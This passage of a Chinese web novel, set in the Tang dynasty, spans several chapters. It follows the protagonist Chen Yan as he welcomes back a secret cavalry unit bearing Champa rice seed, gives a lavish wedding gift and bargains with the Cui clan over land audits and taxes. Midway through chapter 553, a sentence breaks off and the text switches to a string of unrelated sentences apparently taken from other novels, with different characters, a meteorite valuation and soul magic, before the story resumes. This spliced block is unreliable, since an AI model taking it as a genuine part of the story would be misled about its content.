无旌骑本就隐于黑暗之中,天下百姓、文武百官不知晓他们的存在,李世民和陈衍这些知晓内情的,自然不能让八百将士寒了心。 刚走到玄武门外,已经有两辆马车在外等着了。 前面估计坐的是长孙皇后,后面那辆应该是李承乾。 陈衍上前,到车帘的位置敲了敲,随即车帘被拉开一侧,露出了长孙皇后雍容华贵的脸庞。 “子安来啦?快上来吧。” “皇后殿下......这恐怕不太合适,我还是重新找一辆马车吧。” 他话音刚落,李世民的声音从背后响起,“无妨,你脸皮厚,坐坐没事。更何况,都是一家人,私底下不必顾忌那么多。” 说着,李世民扬了扬下巴,示意他搞快点。 陈衍挠挠头,迟疑片刻,最终还是上了车。 随后李世民便进来了,夫妇俩坐在一起,而陈衍坐在侧方,由李君羡驾车。 “前两日,知节已经带着处默跟卢家人提亲了?”李世民想起一件事,问道。 “对。” 提起此事,陈衍挺无语的,“我感觉不管是世家,还是程伯伯都太着急了,成婚的日子就放在元日之前,提亲回来就已经开始准备了。” “就放在元日之前?”长孙皇后惊讶。 现在已经十一月十八,距离元日就十多天,就是说,哪怕再晚,也仅有十天准备时间。 这太赶了。 “呵呵......”李世民冷笑,“朕估计啊,世家同样有人想明白了怎么回事,要不然不至于如此急切。” “对于他们来说,现在越早放出消息,局面对他们越有利,特别是在科举之前。” 陈衍笑笑,“没有人是傻子,特别是对于这些传承千年的世家,不过大家都在打明牌,就看谁技高一筹罢了。” “阴谋诡计终究上不了台面,成不了大事。” 李世民和长孙皇后听到此话,眼里 闪过一丝诧异。 他们直到后来才明白过来的道理,没想到陈衍在这个年纪就明白了。 不过一想到从前陈衍出的计策,又笑了。 确实,陈衍好像从没用过什么阴谋诡计,反倒对携势相当熟练。 “对了,皇后殿下,齐国公同意您上次说的事了吗?” 长孙皇后闻言神色柔和下来,“同意了,本宫觉得他与往日相比,变化很大,更自信了些,胆子大了些,最重要的是野心消退了很多。” “是你跟他说了什么吧?” 陈衍连连摆手,“算不上说了什么,就是今年在长安闲逛的时候,偶遇齐国公在喝茶,随便聊了聊。” 对于这个说法,长孙皇后不置可否,却也没说什么。 今天不是说这些事的时候,最重要的是无旌骑。 “占城稻啊......本宫已经听你提起过多次了,今日,总算有机会亲眼见到了。” “......” 巳时三刻,渭河之上,一队庞大的船队缓缓驶过,往他们当初离开之地前进。 位于最前方的一艘海船甲板上,牛进达面露激动,“快到了,快到了,你们看到了吗?咱们快到了!” 李淳风往日淡然的神情此时亦无法坦然处之,嘴唇微微颤抖,“袁兄,你说,这像不像当初我们带回传国玉玺那一刻?” 袁天罡背着双手,双拳在背后紧握,“不一样的,不一样的!那次只是我们三人,如今,我们带着八百将士,还有无数百姓的活命粮......说句大逆不道的话,带回传国玉玺的时候,那时的心情根本无法与此刻相比!” “对对对,二者无法放在一起衡量,无法衡量......” 李淳风嘴里念叨着,遥望远方的目光,忽然聚焦了起来。 因为他看到了那边隐隐站着不少身影,与他们相望。 “是陛下!皇后殿下,还有......还有陈先生!” 李淳风下意识惊呼出声,明明声音不大,却如惊雷般在船队间炸响、回荡。 一刹之间,所有船上的身影都动了起来。 人们涌向船舷,踮脚张望,有人揉眼,有人屏息,更多人只是死死盯着那几道越来越清晰的身影。 所有人在此刻都激动了,恨不得仰天长啸。 一路上背井离乡,经历的无数艰难险阻、硝烟厮杀,心里积压的所有情绪在见到那几道人影轮廓时,如梦幻泡影 般消散一空。 原来有人记得。 原来有人在等。 他们来了! 他们来完成当初的承诺了!!! 没有人呼喊,没有人大叫。 可那股无声的激荡,却比任何咆哮都要震耳欲聋! 船,仍在向前。 岸,越来越近。 现在他们看清楚了,不仅李世民夫妻、以及陈衍来了。 还有程处默、尉迟宝琳、秦怀道、秦琼、魏王李泰、太子李承乾..... 好多人,真的好多人! 船上,所有人的身躯都在颤抖,原本疲惫不堪的眸子此时比任何星辰都要明亮。 李世民位于最前方,目光缓缓扫过船只上将士们一张张黑瘦皴裂的面孔。他们衣裳破旧,许多人身上还带着伤疤。 沉默了片刻,他张开了双手,朗声道:“诸君,请看身后——东方既白!” “现在!” “风已歇,刀可藏!” “诸君——” “欢迎回家!” 话毕,河面之上沉寂一瞬。 “风!” “大风!!!” 八百多道嘶吼顷刻间汇聚在一起,在天穹炸响,驱散了上午最后一丝雾霾......也驱散了最后一丝疲惫。 山河皆闻,天地为证。 “......” 第551章 承诺 “......陛下!” 李淳风从船上下来,从起初的慢走,到一路小跑,最后跪倒在李世民面前。 正要张口之时,李世民抬手制止了他,“太史令,不必多言。” 喉咙间的千言万语,被这一道温和的声音拂去,李淳风张了张嘴,什么都没说出来。 这时,牛进达和袁天罡提着一个不小的布袋快步过来,“陛下,您请看,这便是占城稻。” 此言一出,所有人都投来了目光,伸着头张望,想看看被陈衍极力推崇的占城稻到底是何模样。 李世民伸手插进布袋,抓起了一大把占城稻。 稻粒干燥而饱满,外壳有些扎手。 然而即便如此,李世民握着占城稻的手却愈发用力,心中激荡。 “好!好啊!” “陛下!”袁天罡急忙补充道:“臣已经打听清楚了,这占城稻跟我大唐目前主流的粮食相差极大,我们大唐的是旱作,而占城稻是水稻,它不仅耐旱早熟,对土壤和水利的要求相对较低,即便在北方一些有灌溉条件的旱地、坡地,或者南方水利不发达的地区都可以种植。” “更重要的是......它如陈先生所说,生长周期只需三个多月,而且亩产可达两到三石。” “在气候好的地区,完全可以做到一年三熟,哪怕在气候不好的地区,也至少可以做到两熟!” “太好了!” 饶是经历过太多震惊的李世民,闻听此言仍然忍不住兴奋。 目前大唐最主要的问题是什么? 首先便是前几年经历了太多天灾,直到贞观四年陈衍出现、东突厥被平定,天灾被解决,大唐进入休养生息的阶段。 然而还是那句话,民以食为天,即便是经过两年的休养生息,粮食永远都是治理天下的最大问题。 还有就是大唐边境受到骚扰,外敌环绕。 以前的李世民很清楚这个问题,所以不敢现在动兵,因为大唐还没有养过来。 只是当后来陈衍一次一次带给他惊喜,才让他萌生了贞观六年出兵的念头。 但有钱、有武器、有军队还不行,你得有粮啊! 如今他内帑充盈,又有了占城稻和土豆,明年气候一到便种植下去,届时万事齐全,岂有不胜之理? 李世民急忙问了一句,“那粮种具体带回来有多少?” 袁天罡与李淳风和牛进达对视一眼,大笑:“陛下请 放心,我等几乎杀入了林邑国腹地,几乎将他们为明年准备的粮种洗劫一空,足足有一万五千多石,若不是咱们的船不够,还能带回来更多!” “一万五千多石?”李世民其实早就有心理准备了。 毕竟无旌骑刚进入大唐海域的时候,他就已经收到了消息,从船队的规模便能猜到一二,但真的听见这个数字,依然无法平静下来。 一万五千石粮种,保守估计可以种植十多万亩,将近二十万亩。 而且这还是一年三熟的占城稻。 明年,只需明年一年,李世民便有信心不靠别人,光靠占城稻和土豆便能凑齐军粮,而且还可以大规模把占城稻推广开。 “来人!给朕上酒!” 李世民心情大好,当即大喊。 对此,陈衍早就有所准备了,给了程处默一个眼神,后者立即吩咐人抬过来一缸又一缸酒,又带来一个又一个大碗,给李淳风等人、以及诸多将士们发下去。 “子安,该你来了。” 李世民举起酒碗,侧头道。 陈衍沉默良久,上前一步,环视众人,“昔日,是我请求陛下组建无旌骑,这是一个对于大唐来说一本万利,却对你们来说极不公平的请求!” “我陈衍,对不起诸位!” 话毕,他一口干了一整碗酒。 “国公大人,此事是我等自愿,您无需如此!”有一名将士开口。 陈衍记得他,名字叫方不语。 起初是一个很消瘦的少年,进了无旌骑之后,身材渐渐壮硕,眼神坚毅起来。 如今,哪怕面孔沧桑,带着疲惫,也能看得出来他经历过战场厮杀,浑身透露着一股肃杀气。 只是,陈衍在听到他的话后,只是笑笑,转而道:“是非对错,我无心去分辨,昔日我亲手下令招揽你们,将你们推入黑暗之中。你们或许不会怪我,然而我自己心里是有愧的。” 他顿了顿,继续道:“其余的,我不敢保证。但我今日在此承诺,你们八百兄弟的字牌,皆被我收于家中,倘若有哪位兄弟一去不回,我陈衍将亲自为他刻字立碑,记录他生平功绩,带入我墓中!” “生时,未能与诸位同袍偕行万里,死后,愿以这样的方式,带诸位之功勋,共见青史!” “我相信,终有一日,你们的光芒将照耀后世,让后世之人明白昔年有这么一群人,他们不求功名利禄,不求封侯拜相,不慕锦衣玉食,甘愿隐姓埋名,只 为万世之基!” “我再敬诸位一杯!” 一席话落下,烈酒再度入喉。 不少人见状红了眼眶,如今有了陈衍这一句承诺,即便从今往后死了都无人知晓,但也值了。 “这第三杯......” 程处默为陈衍再度添满了酒,陈衍定定默然两息,忽然大笑起来,“这第三杯还有什么好说的?” “诸位,如今凯旋而归!” “我昔日承诺用最大的碗、最烈的酒迎接尔等归来,我做到否?!” “哈哈哈哈,谢国公大人!” 场上原本较为复杂的气氛消散一空,所有人都笑了。 “那还有什么好说的?干了!” 陈衍举起酒碗,痛饮而下,随即随手将碗丢出,‘砰’的一声碎裂在岸边。 烈酒入喉,化作滚烫的热流,与胸中澎湃的激荡,彻底融为一体。 而后,一道道酒碗破碎声响彻在渭河岸边。 “走,跟我回家!” “......” 第552章 陈衍一万贯! 随着无旌骑回来,陈衍也彻底进入了忙碌之中。 不仅户部这边需要统计各种数据、账本,另外一边还得安排无旌骑回来之后的各种琐事,以及对于占城稻的安排。 时间一天天流淌,转瞬间到了十一月二十七日晚上。 此时的陈衍还在户部,刚结束今天的公务,伸了个懒腰。 定定坐了一会儿,他起身,准备回去了。 然而,刚走出户部,遇到了两个意想不到的人。 “太史令?国师?” 来人正是李淳风与袁天罡。 陈衍眉头一挑,看了看周围,“看你们这样子,好像是专门来等我的,怎么啦?有事?” 李淳风淡笑道:“不瞒陈先生,我与袁兄确实有些事情,想对陈先生说说。” “好。”陈衍点点头,下巴点了点门外,“走吧,咱们边走边说,我正准备回去呢。按照常理,丽质会为我留饭菜的,正好去我那里喝两杯。” 袁天罡闻言,讶异道:“喝两杯?怎么?半年不见,陈先生怎么改性子了?以前你不是从来不喝的嘛。” “哎,说多了都是泪,不提也罢,走吧走吧。” 陈衍长叹,招呼着两人往前走。 到了现在,长安的雪已经很大了,即便这里时常有人清扫,地面上仍然存留了不少积雪。 明明说是有事,李淳风和袁天罡却没有第一时间开口,陈衍也未曾说话,就这样,三人沉默地走着,踩在雪地上沙沙作响,留下了一排排的脚印。 “陈先生,长安的风,似乎比我们当初离开之前,大了许多。” 李淳风侧头来了一句意味不明的话。 陈衍微微颔首,“这是自然,四季变迁、日月轮转本就是常态,这天下的风啊,就跟老天爷的心情一样,令人捉摸不透。” “你们走时,还是盛夏,而如今已经步入寒冬了。” “风大些......也是正常。” “陈先生会觉得冷吗?”李淳风再问。 “陈先生会觉得冷,但陈衍不会,因为陈衍很年轻,身强体壮。”陈衍用开玩笑的语气道:“另外,我身上穿着我妻子缝制的衣服,家里永远有一口热饭等着我吃,即便在寒冬腊月,依旧暖暖的,自然不觉得冷了。” “如此......那我二人便放心了。” 李淳风沉默半晌,吐出一句话。 实际上,大家都很清楚,眼前之人 其实是一切风暴的来源,位于风暴最中心。 是的! 眼前的年轻人确实备受李世民宠爱,甚至能称得上独宠。 但这又何尝不是一种压力呢? 自回到大唐,了解了近况之后,李淳风便担心陈衍扛不住这样的压力,以及他未来将要踏上的那条明明通天,却布满荆棘之路。 如今,听到这一句不冷,身上穿着妻子缝制的衣物,家中有一口热饭等着他,李淳风就放下心了。 “陈先生,你还记得当初在长孙皇后寿宴上见过一面,名为‘李玉婉’的小姑娘吗?” 李淳风又问出了一个问题。 而陈衍在听到之后,脚步顿了顿。 李玉婉他怎么会忘记? 那可是文成公主啊。 关于这件事,他始终记在心里! “当然记得,不过她年纪尚小,太史令现在提及她......是为何意?” 李淳风并未开口,而是一边的袁天罡幽幽道:“世间有因便有果,原本所有因果已经注定,然而陈先生的出现打乱了一切......” “原本,明年的大唐是应该继续休养生息,这样的情况还得持续几年,然而现在一切都变了,不仅变成了我等看不懂的样子,也变得令我等猝不及防。” “倘若明年大唐对吐谷浑动兵,势不可挡般赢得胜利,很难保证其余小国会因此产生什么想法......彻底臣服、暗自联合、摇尾示好,都是有可能出现的情况。” 他的话说得很委婉,但已经足够让陈衍明白过来了。 陈衍彻底停下了脚步,沐浴着风雪,微微仰头,沉默不语。 因果! 因果! 有因必有果啊! 蝴蝶扇动翅膀,卷起的可不止一场风暴那么简单。 两人看似在说李玉婉,但又何尝不是在提醒他,他不是万能的,未来,存在太多意外情况。 “......” 翌日,十一月二十八,大雪纷飞。 今日有喜,处默娶妻。 只是最近确实太忙,在提前征得程处默同意后,陈衍一下朝便急匆匆返回家中,换了一套衣服,然后带着妻女赶往程府。 此时,新娘子已经被接了回来,宴席都已经开始了。 崔氏笑得合不拢嘴,在外面亲自迎客人。 程咬金同样跟在身边。 该说不说,他体 格子确实强,挨了十大板,竟然这么快就好得差不多了,现在看起来就跟没事人一样。 正当夫妇俩迎客的时候,程咬金眼角余光瞥见两辆熟悉的马车驶来。 他眯了眯眼,瞬间变得一言不发。 很快,马车停下,陈衍搀扶抱着女儿的高阳以及李丽质走下来,见到程咬金夫妻俩,笑着上前打招呼。 “程伯伯,崔伯母,恭喜,恭喜啊。” “哎呀!子安来啦?快快快,里面坐里面坐,都是自家人,别客气哈。”崔氏笑容更甚,心情明显更好了。 反而程咬金黑着脸,目光在陈衍身上上下扫了扫,“怎么?小子,今日你兄弟大婚,你不帮帮忙我可以理解,但你空着爪子来有些不太合适吧?” “啧!”崔氏一听,反手给了他手臂一巴掌,“你怎么说话呢?” “子安是外人吗?还空着爪子,我怎么没见你给你儿子送上一份贺礼?” 程咬金撇撇嘴,“这小子,一天天净白吃白喝了。” 陈衍稍稍扬眉,“怎么,程伯伯,听您这话的意思是,我今日若不拿出点贺礼来,连进去吃个席都不行啦?” “那咋的?你真想白吃白喝啊,礼品不带就算了,好歹给点礼金吧?” 几人闻言,顿时无语了,但随即又笑了起来。 谁都清楚,这两人怄着气呢,跟什么礼不礼的一点关系没有。 “你看你,又急!” 陈衍眼里带着笑意,随即大喊,“给小爷记账上!” “陈衍一万贯!!” 此言一出,现场寂静了一瞬,而后气氛被瞬间引爆,无比热闹起来。 陈衍用下巴点了点后面第二辆马车,用眼神示意程咬金,之后昂首挺胸地带着妻女踏入府中。 程咬金目送他进去,小声嘟囔:“又让这小子装上了。” “.....” 第553章 社死的高阳 “夫君,这样是不是有点太高调了......去年我听说蔡国公一生的积蓄才七千多贯,你这送个礼金都一万贯了......” 进门之后,李丽质迟疑片刻,压低声音道:“等今日之事传出去,万一有什么风言风语就不好了,毕竟你目前在户部任职......” “姐姐,你担心他作甚?” 陈衍还未开口,高阳便迫不及待说:“咱家又不缺这仨瓜俩枣,夫君更是没拿过户部一针一线,咱们夫君 见到他脸色大变,其他人到是有些诧异,他们可是没见过水云间的幕后主人,今天还是第一次见,可太子这模样显然是认得她的,可自他的脸色又猜到这其中却不止是认识那么简单的。 “王爷,王爷,救我!”夏侯芷月看着眼前这一幕,眼里闪过得色,瞬间即逝,她这回就让月梦心死无葬身之地。 随着音乐渐入美境,观众们仿佛真的置身于雪山之中,眼前茫茫一片,白雪皑皑,明明是静谧无比的雪山,又天生就带着一种恢宏无比的气势。 说完就离开了更衣室,他画面的那些话不知道是什么意思,反正事情都已经说出来了,也就没有什么好说,意思就是那个意思,他们自己好好的去体会吧。 一个妖族被封了所的法力,比一个凡人都不如,心底一定最为渴望恢复以前的力量。 在当初梦龙上市时,林风等人面临的最大难题,是如何让投资者认识和接受梦龙这么一家从来没有名气,并且业务也是海外投资人根本不了解的无线增值业务的公司。 对于这些东西他也是见怪不怪了,反正记者在没有得到明确的消息时,他们基本上都会脑洞大开的,这些都只不过是常规操作而已,没有那么的恐怖,林一觉得还是可以接受的。 月梦心见他欲言又止的样子,更不想与他多说些什么,此时她的心乱成一团,想回去好好的静静。 “据我们估计,不算它的年份,单就体型而言,就价值五千万人民币以上!”因为不明白这颗陨石的年份,方命并没有直接报价一千万,美元。而是根据自己的经验,报出了自认为最合适的价格。 “纪长安,这么大的事情,你不会是想瞒着母亲吧,你要知道,母亲可是很疼爱纪安琪的。”方霂林咬牙说道。 魂魄是世间最为纯洁的能量,上古有一法,名曰流敛之光,取魂魄光华之美命名。云炽打算运用自己已觉醒的一部分魂魄之力,用流敛之光魂法,以神识撼动禁制,和云沧体内妖力内 外结合进行破解。 这一次,涅槃没有黑郑潇日的账号,而是黑了h国日报的官博,发了第二波爆料。 今天阮萌和马可波罗都没有出屋,两人窝在屋中,阮萌捧着一杯热水,马可波罗捧着阮萌的手。 呀窈窕放心地拿起手机一看,果然不是韩少勋打来的,而是刘雯雯。 “搞什么!”廖渊在前面,也是被四面八方,不断偷袭的岩浆弄的有些恼火。 威压已经收回,趴了一地的人和感染者,这才一个个战战兢兢的爬起来,一脸恐慌的看着我们。 南宫灼华闻言,那纤长的睫羽动了动,精致的眼尾微微上挑,唇角轻抿,那双嗜血妖治的血色眸子里,似有无边的暗光幽幽。 龙御煊侧过身,唤了一名佣人过来。吩咐佣人将这只盒子送回了他的房间。 可是,除了白斧恭,没人看清楚那鞋印和巴掌印是怎么印上去的。 第554章 交易 按理来说,秦怀道喊声娘,大家不至于露出这种表情。 这么小的孩子,什么都不懂,有时巧合应一声,大家根本不会当成一回事。 至于为什么这样...... 那你就要问问大唐的晋阳小公主了。 咱小公主没别的爱好,小破嘴就爱讲点小故事,不说她浑身难受啊。 即便因为讲小故事,导致自己出了事故,她依然死性不改,整天叭叭个不停,逢人便说。 “唉~” 陈衍心累啊。 正待他想说些什么,扯开话题的时候,有一人走了过来,端着酒杯。 “诸位大人、夫人,小子崔宣,有礼了。” 崔宣客客气气、规规矩矩跟众人行礼打招呼。 秦琼此时开口,“我听说过你,崔家的年轻一辈最出众的一个,你是来找子安的吧?” “不瞒翼国公,确实如此。” 崔宣很是谦虚,“至于崔家年轻一辈最出众......小子属实算不上,担不起您如此夸赞。” 秦琼不置可否,尉迟恭皱了皱眉,他最是讨厌这些文绉绉的人,表面带着笑,看起来冠冕堂皇的,实则心里不知打什么主意呢。 至于陈衍虽是读书人,但身上却没沾染那种气,表现得更是比他们还混不吝,这才是尉迟恭喜欢的读书人。 不过崔宣是来找陈衍的,他不好说什么。 即便他不爱动脑子,一样很清楚目前的局势是怎样的。 世家跟皇室,以及他们诸大臣的关系,又将进入新一轮变换...... “渭国公,不知能否请您移步?”崔宣道。 陈衍微微颔首,他正好想继续跟崔宣接触接触,便对身旁的李丽质和高阳说了一声,“你们先吃着,我过去跟崔兄聊聊。” 两女点点头,没说什么。 而后,陈衍跟崔宣离开了,往程府的演武场走去。 这里人少,而且大家看见他们在一起,都会很识趣地不上来打扰。 然而,让崔宣没想到的是,他还未曾开口,陈衍就先开腔了,“崔兄,不如我们做一笔交易如何?” “交易.....?” 崔宣一怔,下意识问:“什么交易?” 话一出口,他心里立刻就后悔了。 来之前,崔宣真的做了很多准备,清楚陈衍不同于一般人,绝不能被带入对方的节奏,一旦被对方引导着 话题,他就陷入了下风。 可话已经出口,此时后悔也晚了。 “咱们打开窗户说亮话,我知晓你们跟我合作做买卖是因为什么,可经过这么长时间,我甚至都给了你们进入工坊的机会,你们拿到你们想要的东西了吗?” 陈衍侧头,表情似笑非笑,“要知道,自我们合作到目前为止,派出去的商队已然不少,你们每次都需要付给我一大笔保证金,风险几乎全被你们承担了过去,我等同于躺着赚钱。” “我差不多得到了我想要的东西,而你们呢?” 一席话落下,彻底打乱了崔宣的思绪,不禁让他沉默。 是的! 陈衍很直接地给了他们进入工坊的机会,可他们到现在依然没拿到关键的技术。 水力纺织机是超越这个时代的造物,先不说陈衍根本不会给他们拆开具体研究的机会,就算给了,也不是一时半会能复制出来的。 不过他们原本就已经做好了持久战的准备,倒也不是特别急。 反而现在陈衍提出的交易,让崔宣的警惕性一下子升到了最高。 “渭国公还是先说说什么交易吧。” “很简单,我直接把水力纺织机给你们,其中包括制造的材料、设计的图纸,甚至......我还可以派人去指导你们制造出一模一样的水力纺织机,如何?” 陈衍的话带着蛊惑性,然而崔宣却一下子平静了下来。 天上绝对不会凭空掉下馅饼。 如果有! 不用怀疑,那肯定是诱饵! 如今陈衍抛出了这个诱人无比的饵,那他们又需要付出什么? 这需要打一个问号。 “交易!既然是交易,渭国公愿意拿出水力纺织机来作为交易的筹码,那我们又需要付出什么样的筹码,才能拿到它呢?” “很简单!”陈衍竖起三根手指,“第一,明年户部会彻查天下,所有田地均要记录在册,同时推行累进税制,你们不得阻拦,并在一定程度上配合。” “第二,将你们埋入地底的钱拿出来,存入钱庄里,我可以保证钱依旧是你们的钱,包括利息该是多少就是多少,我都按照钱庄的规矩付给你们。” “至于第三嘛......就简单多了,出资给我扩建五座图书馆便好。” 听到最后,崔宣再也无法保持淡定了,脸色黑如锅底。 首先说第一点,就在往他们脖子上砍。 天下谁藏的土地最多? 不就是他们世家,以及手底下的人吗? 你要彻查天下土地,不仅让我们别阻止,甚至还要配合你? 还有那个什么累进税制,哪怕光听一个名字,也足够他窥见一角真意了。 再说第二点,钱原本好好放在我们手里,我们想怎么样就怎么样,现在要我们存入你的钱庄,钱还是我们说了算吗? 现在说得好好的,届时万一我们要用的时候,你随便找个理由不给,或者一直拖着怎么办? 至于第三点...... 如陈衍所说,还真是最简单的。 他们世家最不缺的是什么? 就是钱! 出资建造五座图书馆而已,九牛一毛罢了。 顶了天也就几十万贯。 估计还没他们当初争夺几尊琉璃的时候花费多。 “渭国公,恕在下直言,您提出的条件我们属实无法答应。” 崔宣很坚定地拒绝了。 陈衍淡淡一笑,“交易嘛,交易没进行之前,都是要谈的,谈好了才是交易。” “你若觉得不公,大可跟我提出其他要求,如若不然的话,别人还以为我陈衍多霸道,仗势欺人呢。” 崔宣刚想开口,陈衍却没给他说话的机会,继续道:“而且,崔兄,我需要提醒你,你得好好想想现在的大唐是谁在掌握着最终话语权,以及天下舆论。” “崔兄啊,你还年轻,很多事考虑得并不周全。所以我认为你没必要急着拒绝我,你得回去跟家中长辈好好商量商量,万一......他们同意了呢?” “.....” 第555章 高高兴兴 “渭国公莫要再说笑了,我今日能来,定然是可以在一定程度上代表家里长辈的。” “除了第三点要求,我现在就能拍板应下来,前面两条请恕我不能答应。” 即便觉得陈衍很过分,甚至有点落井下石的嫌疑,而且言语之间亦有贬低他的意思,但崔宣仍然没有发怒,保持着冷静,断然拒绝。 陈衍笑着摇摇头,抬手指了指外面的大婚现场,“崔兄,你们家族经常联姻,虽然今日处默娶的是卢家女,可一旦论起来,跟你应该能扯上关系吧?” 崔宣真的讨厌极了这种被牵着鼻子走,话题走向自始至终被对方掌握的感觉,然而他对此又无可奈何,只能回答道: “是的,算起来,她还是我的远房表妹。” “渭国公提起此事......是想说这对我们有帮助?” 他这句话的潜台词藏得比较深,尽管什么都没表示,可说出这句话,态度就已经很明显了。 那便是在告诉陈衍,是,没错! 这确实对我们有帮助,不过我依旧不能答应你的条件。 “是吗?” 陈衍露出一个意味深长的笑容,拍了拍崔宣的肩膀,留下了一句话,“我建议你好好考虑考虑我的话,回去跟你家里的长辈商量商量。” “崔兄,下次再见了!” 话毕,陈衍不管崔宣什么表情,转身离开,丝毫不拖泥带水。 崔宣有心想挽留,聊一些其他方面的事,却也不太好开口了。 望着对方离去的背影,崔宣长叹一口气。 “为何总是这样呢?” “......” “回来啦?” 当陈衍回来时,李丽质下意识起身,想迎他。 却被陈衍抬手示意坐下,“你坐着就好了,我只是跟人去聊聊事情,不至于这样。” 李丽质也不强求,安心坐下。 其余人见状笑了笑,没说什么。 “小子,你过来,咱俩说点事。” 这时,尉迟恭对他招了招手,示意陈衍来他旁边坐。 后者顿时警惕了起来,“您有什么事直接说不行吗?都是自家人,你防谁呢?” 尉迟恭气急,还我防谁? 到底是谁在防着谁啊? 不就是让你过来坐吗? 至于那么大反应? “哈哈,尉迟老黑,子安的话还是在理的,这 里都是自家人,你防着谁呢?有什么话直说便是。” 秦琼站出来帮陈衍说了一句话。 虽然不知道尉迟恭想说什么,但能在这种场合说的,料想也不是什么重要的事。 “就是就是!” 陈衍连连点头,坐在李丽质和高阳中间,离尉迟恭远远的。 “俺.....” 尉迟恭正要开口,话都到嘴边了,却又不知道该怎么说出来。 这可给旁边的尉迟夫人急坏了,一巴掌拍在他手臂上,插话道:“衍哥儿,都自家人,我也不瞒着你,是这样的,现在你们三个小兄弟皆已成家,你更是连女儿都有了,我们家宝琳可还没什么着落呢。” “怀道和处默的婚事你都办了,可不能忘了我们家宝琳啊。” 陈衍听后眉头一挑,目光移动到尉迟夫人身旁,一直未曾说过话的宝琳身上,眼神微妙。 “伯母,宝琳还愁娶不到媳妇吗?您这是话里有话呢。” 堂堂国公长子,怎么可能找不到好的姑娘家? 哪里用得着他操心。 如果暂时没找到,要么就是尉迟夫人眼光高,挑剔,要么有其他思量。 而据他所了解,尉迟夫人向来不是挑剔的人,为人颇为豪爽,也不特别看重门楣。 家世过得去,基本上就能入她的眼了。 所以说,现在尉迟夫人提出此事,显然是有其他思量。 “衍哥儿,是这样......” 尉迟夫人闻言稍稍俯身,压低声音道:“我想问问你,咱家宝琳娶个世家女......你看能行吗?” 听闻此话,陈衍笑了,打趣道:“伯母,您这话说的,宝琳也没差在哪儿啊。处默都可以,为什么宝琳不行呢?” “真的?” 尉迟夫人眼睛顿时亮了。 有更好的,自然没人选差的。 她也一样。 自从程处默上世家提亲,到现在这么短的时间就大婚,而李世民什么表示都没有,她也渐渐猜到了一点东西,所以动了些心思。 如今就是来跟陈衍确定的。 “娘,俺真的不想......” “闭嘴!” 眼看得到了陈衍的确定,已经兴奋起来的尉迟夫人,尉迟宝琳坐不住了,有心拒绝,却被自家娘亲大人一个眼神瞪了回来。 尉迟宝琳:“......” 他跟程 处默与秦怀道不同,秦怀道是跟他妹子两情相悦,走到一起自然没什么奇怪的。 然而他跟程处默其实不怎么想成亲的,如若不然的话,早就成了,何必等到现在呢? 特别是去了渭南县,虽然没想象中玩的尽兴,但他跟程处默都喜欢上了带兵的感觉。 对现在的生活满足的很。 不想成亲了。 只是自家娘亲大人一直叨叨,以前只是提几句,他随口打发一下就过去了,到现在开始强硬要求他。 尉迟宝琳属实没什么办法。 正当尉迟夫人思索着找世家哪个姑娘时,陈衍又提醒了一句,“伯母啊,如果您有这个意思,我建议您快点了,否则再过一段时间,好的可能都被挑走了。” 尉迟夫人一怔,随即重重点头。 “好,我明白了。” 此事就这么决定了下来,众人坐在一起,吃吃喝喝,说说笑笑,气氛好不融洽。 不多时,新郎官出来敬酒了。 先是亲属长辈,而后就轮到了陈衍他们这一桌。 “瞧瞧,瞧瞧咱处默穿上这身衣服,多气派啊,娶新娘子咯。”陈衍打趣道。 程处默嘴角不自觉露出笑容,“子安兄,你那一万贯,属实惊到我了啊,不是我扫兴,这确实太......” “太什么?太高兴了吗?” 陈衍立即打断他,反问。 程处默顿了顿,心间一暖,不再执着一万贯多不多,爽朗地点点头,“是啊,大婚嘛,今日太高兴了!” “高兴就对啦!” 陈衍乐呵呵地举起酒杯,环视众人,“今天不光是处默高兴,咱们同样高兴,而且不只今天高兴,咱们今后啊,也得高高兴兴的!” “......” 第556章 只要是我自己想走,那么路就在脚下 元日前一天,户部在陈衍的带领下,紧赶慢赶,总算完成了最后的报表数据。 贞观五年,户部所有的收入、花费、各种田地、户籍的统计全部一目了然,但凡是个识字的人,都能看得懂。 当天晚上,这份被陈衍称之为报表,实则在杜构他们看来,就是大一点的文书便被递了上去,摆在了李世民面前。 望着这份与从前陈衍在渭南县时类似的大文书,李世民呵呵一笑。 “朕就说嘛,这小子天生便是吃这碗饭的,瞧瞧这文书,除了他谁能搞得出来?” 无舌在旁边一个劲地点头附和。 只是......当李世民看完之后,啧啧道:“也不怪戴胄和陈衍老哭穷,户部收入虽然多,但花费同样不少。” “朕的内帑是充裕了,只是大唐的国库收入却没有上来,希望等子安正式上任户部尚书之后,能有所改变吧。” “陛下,渭国公大人好像还从未让您失望过呢......”无舌笑着出声。 “不一样啊......” 李世民背着双手,站起身,“寻常做些买卖,怎么能跟户部相比?” “朕不增加税收,而且要想办法减少,如此一来百姓才能有好日子过。” “可要在减少百姓税收的同时,增加国库收入何其之难?” “加之明年又是多事之秋......慢慢来吧。” 李世民话到嘴边,却没有再继续说下去,只是摇了摇头,“对了,太上皇最近还在往子安家里跑吗?” “呃......”无舌闻言苦笑,“陛下,太上皇的家底都快被两位公主殿下,以及魏王妃掏空了。每次从渭国公府走出来,都是黑着脸的。” “奴婢听说,太上皇光是自己的玉佩,都抵押了七八次了。” 李世民:“......” 他忍不住揉了揉眉心,实在不知道该说什么好了。 陈衍的想法是好的,渭国公府里李渊的亲人太多,而且全是孙辈,本来就甚得李渊喜爱。 大家坐在一起,玩乐一下,李渊自然就高兴了。 可问题是,高阳和李丽质竟然不按常理出牌。 天天让李渊输个精光,关键是老爷子还不服输,输了钱明天还去。 一直去一直输。 上赶着给人家送钱。 李世民无奈,摆摆手,“派人去跟子安说说,让高阳和长乐以及魏王妃让着 点父皇......一群孩子,整天赢长辈的钱,像什么样子嘛?” “好歹让人家赢一次啊。” “是,陛下。”无舌其实有点想笑,可硬生生忍住了。 走出甘露殿,望着满天的大雪,李世民微叹。 “又是一年过去了啊......” “......” “陈先生,明天就是元日了,你今日叫我跟袁兄出来,是为了何事?” 在长安的一座高楼上,三道人影顶着风雪,望着风雪下的长安夜色。 半晌,李淳风缓缓开口,“还是说,你已经为我们确定好了下一个目标?” 陈衍摇摇头,“不是,无旌骑刚回来没几天,哪里能让你们这么快便继续出征?先让将士们好好休养一阵吧,海上的日子不容易。” 袁天罡道:“如果不是有关无旌骑,那么陈先生今日是有心事?” 以他们对陈衍的了解,他绝不会做什么无用的举动,特别是在元日前一天。 总不可能叫他们两个出来,只是为了在楼上吹吹风,淋淋雪吧? 陈衍沉默两息,问出了一个埋藏在自己心底很久的问题,“曾经,你们二人联手为我算过一次命,你们还记得吗?” 